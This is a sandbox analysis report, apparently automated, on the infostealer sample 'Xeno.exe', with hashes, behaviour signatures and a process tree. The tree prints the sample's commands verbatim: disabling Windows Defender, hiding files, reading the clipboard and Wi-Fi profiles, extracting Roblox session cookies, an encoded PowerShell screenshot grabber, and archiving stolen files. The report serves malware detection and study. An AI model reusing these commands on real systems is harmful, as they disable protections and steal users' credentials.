Analysis

  • max time kernel
    5s
  • max time network
    6s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14-12-2024 07:30

General

  • Target

    Xeno.exe

  • Size

    7.0MB

  • MD5

    4cada3a12ec0ee75e590026cadbf82b7

  • SHA1

    9454d5eff1fe850cad41f7074cd88b6afc059f2e

  • SHA256

    7982ef7df2aee22865b90faff6823404718065e2f3560009b7b8b418d72b12d6

  • SHA512

    8b55efd43497a1bf1c6e6db3502c32c8ed278661a8a33d55647fc17ab914a4662bf612b1d13ea932bb3c3f14dcd03ffa14c4a0ae338f83b1644aa193598b2727

  • SSDEEP

    98304:UtevITBg6zamaHl3Ne4i3lqoFhTWrf9eQc0MJYzwZNqkzmas5J1n6ksB0rNHMk:UGIieNlpYfMQc2sEhn6ksqZ

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • UPX packed file 45 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Xeno.exe
    "C:\Users\Admin\AppData\Local\Temp\Xeno.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Users\Admin\AppData\Local\Temp\Xeno.exe
      "C:\Users\Admin\AppData\Local\Temp\Xeno.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3536
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Xeno.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Xeno.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3808
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2400
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4932
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4000
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2804
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5044
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2144
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:3208
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3292
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:1016
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1720
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:4832
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4376
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:2388
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Xeno.exe""
            3⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:4892
            • C:\Windows\system32\attrib.exe
              attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Xeno.exe"
              4⤵
              • Views/modifies file attributes
              PID:576
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3168
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:4836
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2136
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:3240
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4976
            • C:\Windows\System32\Wbem\WMIC.exe
              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              4⤵
                PID:5032
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
              3⤵
              • Clipboard Data
              • Suspicious use of WriteProcessMemory
              PID:1164
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Get-Clipboard
                4⤵
                • Clipboard Data
                • Suspicious behavior: EnumeratesProcesses
                PID:3052
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4564
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:4676
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
                PID:2752
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:1888
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                  3⤵
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  PID:4572
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show profile
                    4⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:4704
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "systeminfo"
                  3⤵
                    PID:492
                    • C:\Windows\system32\systeminfo.exe
                      systeminfo
                      4⤵
                      • Gathers system information
                      PID:3456
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                    3⤵
                      PID:1824
                      • C:\Windows\system32\reg.exe
                        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                        4⤵
                          PID:2500
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                        3⤵
                          PID:2644
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3196
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\arzo2d4u\arzo2d4u.cmdline"
                              5⤵
                                PID:1236
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES880C.tmp" "c:\Users\Admin\AppData\Local\Temp\arzo2d4u\CSC43BDCEC1A2574850948C4B1C30E28C18.TMP"
                                  6⤵
                                    PID:1476
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                              3⤵
                                PID:3124
                                • C:\Windows\system32\tree.com
                                  tree /A /F
                                  4⤵
                                    PID:2280
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                  3⤵
                                    PID:4816
                                    • C:\Windows\System32\Conhost.exe
                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      4⤵
                                        PID:2144
                                      • C:\Windows\system32\attrib.exe
                                        attrib -r C:\Windows\System32\drivers\etc\hosts
                                        4⤵
                                        • Drops file in Drivers directory
                                        • Views/modifies file attributes
                                        PID:3524
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:1424
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:1560
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                          3⤵
                                            PID:3404
                                            • C:\Windows\system32\attrib.exe
                                              attrib +r C:\Windows\System32\drivers\etc\hosts
                                              4⤵
                                              • Drops file in Drivers directory
                                              • Views/modifies file attributes
                                              PID:1732
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:2452
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:4876
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                3⤵
                                                  PID:3272
                                                  • C:\Windows\System32\Conhost.exe
                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    4⤵
                                                      PID:576
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist /FO LIST
                                                      4⤵
                                                      • Enumerates processes with tasklist
                                                      PID:4984
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                    3⤵
                                                      PID:2460
                                                      • C:\Windows\system32\tree.com
                                                        tree /A /F
                                                        4⤵
                                                          PID:1568
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        3⤵
                                                          PID:424
                                                          • C:\Windows\system32\tree.com
                                                            tree /A /F
                                                            4⤵
                                                              PID:4560
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                            3⤵
                                                              PID:2512
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                4⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                PID:2500
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:3200
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                    PID:3256
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                  3⤵
                                                                    PID:3524
                                                                    • C:\Windows\system32\getmac.exe
                                                                      getmac
                                                                      4⤵
                                                                        PID:2740
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI16162\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Z2N8G.zip" *"
                                                                      3⤵
                                                                        PID:2916
                                                                        • C:\Windows\System32\Conhost.exe
                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          4⤵
                                                                            PID:1424
                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI16162\rar.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\_MEI16162\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Z2N8G.zip" *
                                                                            4⤵
                                                                              PID:3400
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                            3⤵
                                                                              PID:3680
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic os get Caption
                                                                                4⤵
                                                                                  PID:904
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                3⤵
                                                                                  PID:4440
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic computersystem get totalphysicalmemory
                                                                                    4⤵
                                                                                      PID:4324
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                    3⤵
                                                                                      PID:3216
